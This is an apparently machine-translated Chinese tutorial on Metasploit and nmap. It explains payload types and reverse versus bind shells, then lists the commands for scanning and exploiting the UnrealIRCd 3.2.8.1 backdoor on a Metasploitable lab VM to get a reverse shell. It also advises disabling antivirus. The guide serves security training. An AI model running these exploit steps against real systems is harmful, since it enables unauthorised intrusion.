自己執行簡單的安全測試 - 使用 Metasploit Framework 和 nmap
不費吹灰之力,可以測試您自己網絡的安全性。我們提供了兩個工具,使這成為可能。關于它的最好的事情是:這些工具是免費提供的。
在Metasploit的框架從Rapid7是漏洞分析領域的最知名的框架之一,并使用世界各地的許多紅隊和滲透測試人員。它是免費提供的,可以單獨擴展,這使得它非常通用和靈活。它通常與端口掃描器(如nmap )結合使用,這是該領域最突出的工具之一,也是免費提供的。
在本文中,我們對這兩種工具進行了簡要介紹。為此,我們將展示一個簡短的示例來演示如何自己對系統執行簡單的測試。
請注意,您只能對所有者授予您權限的系統進行攻擊。不這樣做可能會導致刑事處罰,具體取決于您所在國家/地區的立法。此外,請確保您協調您的測試,并且不會意外干擾或阻止其他人正在使用的服務。
先決條件 - 安裝
Metasploit 框架是一個控制臺應用程序,nmap 是從命令行執行的。因此,您應該具備該領域的基本知識(例如 bash)。
你可以從這里下載 Metasploit 框架,然后安裝它。
注意:防病毒軟件和防火墻有時會將文件檢測為惡意軟件,因為它們包含的代碼也可以在惡意軟件中找到。因此,您應該禁用這些保護組件或配置它們,以便它們不會阻止使用 Metasploit 框架。
安裝 Metasploit Framework 時,也安裝了相關工具(包括 nmap),因此我們的示例無需進一步安裝。
或者,您可以使用Kali Linux,這是一個預裝了許多攻擊性安全工具的 Linux 發行版。Metasploit 框架和 nmap 就是其中之一。使用 Kali Linux 時,請注意某些 EDR 解決方案對 Kali 系統的默認主機名敏感并觸發警報。
方便: Kali Linux 可作為 VirtualBox 或 VMware 的虛擬機使用,因此您無需安裝全新的系統。
Metasploit 框架
Metasploit 框架具有模塊化結構。模塊可以分為不同的類別,并以各種方式組合。
下面簡要解釋其中的三個類別:
1. 輔助工具
包括掃描器、模糊器等輔助工具,用于檢測目標系統上正在運行哪些服務以及是否存在漏洞。
2.漏洞利用
漏洞利用,顧名思義,包括所有可用于利用漏洞的模塊。這些范圍從阻止服務的拒絕服務攻擊到允許攻擊者在目標系統上執行任意代碼的遠程代碼執行攻擊。
3. Payloads
Payloads 可用于漏洞利用以執行代碼并在攻擊者和目標系統之間建立連接。這通常是通過 shell 完成的。有效載荷可用于控制以何種方式使用哪種類型的外殼。有兩個基本區別:
3.1 分階段與非分階段有效載荷
對于某些漏洞利用,可用負載的大小是有限的。這可能意味著必須使用分段有效載荷。在這種情況下,只有一小段代碼(stager)被傳輸到目標系統。然后通過 stager 建立與攻擊者的連接。最后,接收并執行進一步的有效載荷(階段)。
另一方面,非暫存有效載荷是自包含的,并帶有所有必需的代碼。因此,它們更大,但同時更穩定,即它們的功能更可靠,因為不存在進一步的依賴性。
這兩種不同的類型可以通過模塊名稱輕松識別。Staged 有效載荷多包含一個“/”,而非 staged 有效載荷在相應位置有一個下劃線“_”。
示例:
暫存:*windows/x64/shell/reverse_tcp*
非暫存:*windows/x64/shell_reverse_tcp*
3.2 綁定或反轉 Shell
使用綁定外殼時,會在目標系統上啟動偵聽特定端口的服務。然后攻擊者通過指定的端口連接到這個系統。
根據目標系統的配置,防火墻會阻止傳入的網絡流量,因此無法通過綁定 shell 建立連接。此外,如果攻擊者和目標系統不在同一網絡上,目標系統的(私有)IP 地址和端口可能會被 NAT 更改,這也阻止了綁定外殼的使用。
另一方面,如果選擇了反向 shell,則會在攻擊者的設備上啟動一項服務,該服務會偵聽特定端口。然后目標系統連接回攻擊者。
示例:
綁定外殼:windows/x64/shell_bind_tcp
反向外殼:windows/x64/shell_reverse_tcp
映射
Metasploit 框架包括各種端口掃描器作為輔助模塊。但是,這些僅提供很少的配置選項,并且僅確定端口是否打開。相比之下,使用 nmap 進行掃描允許為執行設置更多設置,并且還可以獲取更多信息。
例如,可以使用選項來調整掃描速度并針對可能的防火墻檢測采取對策。此外,nmap 不僅可以用于確定哪些端口是開放的,還可以確定通過端口可以訪問哪些服務以及正在運行的底層軟件版本。
示例場景
在下文中,我們將看一個簡單的示例,我們將逐步完成該示例。
我們的場景如下:
- 易受攻擊的機器:IP 192.168.2.133
- 安裝了 Metasploit 框架和 nmap 的 Kali Linux:IP 192.168.2.132
易受攻擊的機器是 Metasploitable 2,這是一個故意易受攻擊的虛擬機,可用于測試 Metasploit 框架等工具。你可以從VulnHub和其他站點免費下載這個和其他易受攻擊的機器。此外,Rapid7 還開發了 Metasploitable 的第三個更新版本,您也可以在這里免費獲得。
第 1 步:使用 nmap 進行端口掃描
為了確定 IT 系統的哪些服務可以從外部訪問并因此可能被利用,通常會執行端口掃描。Metasploitable 有大量可以掃描的開放端口。因為我們想提供一個簡單的概述,所以我們只掃描一個端口。因此,我們使用參數“-p”并指定端口 6667,IRC 守護程序正在偵聽該端口。在不指定此參數的情況下,nmap 會檢查1000 個最流行的端口。
因為我們只檢查一個端口,所以掃描速度的配置可以忽略不計。盡管如此,為了說明,我們指定了一個設置“ -T4”。通常,nmap 提供了使用此類預定義模板的可能性,其值從“T0”(慢)到“T5”(快),或選擇單獨的設置。
使用參數“-A” nmap 嘗試識別操作系統并確定有關已識別軟件版本的信息。

在搜索引擎中搜索“unreal 3.2.8.1 metasploit”,很快就會發現Metasploit Framework包含一個合適的漏洞利用模塊,攻擊者可以通過該模塊訪問目標系統。
第 2 步:利用
現在我們知道目標系統上使用的 UnrealIRC 守護程序版本存在漏洞,我們可以在 Metasploit 框架中尋找適當的漏洞利用。Metasploit 框架是一個控制臺應用程序,使用“msfconsole”命令啟動。
由于我們的互聯網搜索結果,我們可以直接選擇我們確定的漏洞利用“使用exploit/unix/irc/unreal_ircd_3281_backdoor”。
或者,可以使用“搜索”命令在模塊中搜索關鍵字。如果搜索結果中有合適的模塊,您可以通過“使用”命令選擇它。

如果選擇了漏洞利用,“show payloads”可用于顯示所選漏洞利用的所有可用有效載荷。的“組”命令選擇所需的有效載荷。

大多數模塊還提供其他選項。命令“show options”顯示所有配置選項。的“組”指令可以被用于調整各種值。我們使用命令“set RHOSTS 192.168.2.133”設置目標系統的IP地址。由于我們使用的是反向shell,我們還需要將攻擊系統的IP地址設置為“LHOST”。

最后我們使用“run”命令來執行漏洞利用。

使用的命令和視頻
在這里您可以找到我們在示例場景中使用的所有命令的概述。如果你想自己嘗試這個例子,你可以使用這些。您還可以在下方觀看展示漏洞利用“動態”的短視頻。
#Portscan
>nmap [IP] -T4 -A -p 6667
#Exploit
>Search unreal irc
>Use 0
>Show Payloads
>Set Payload 5
>show options
>Set RHOSTS [IP]
>Set LHOSTS [IP]
>Run
摘要和注釋
此處顯示的場景經過簡化,僅用于說明 Metasploit 框架和 nmap 等工具的可能性。在您的網絡中,您必須單獨決定使用哪些命令和選項。另請注意,此類自測不能替代外部專業安全審計或滲透測試。但是,它可以作為一個起點,在其他人之前發現您的網絡中的一些嚴重安全問題。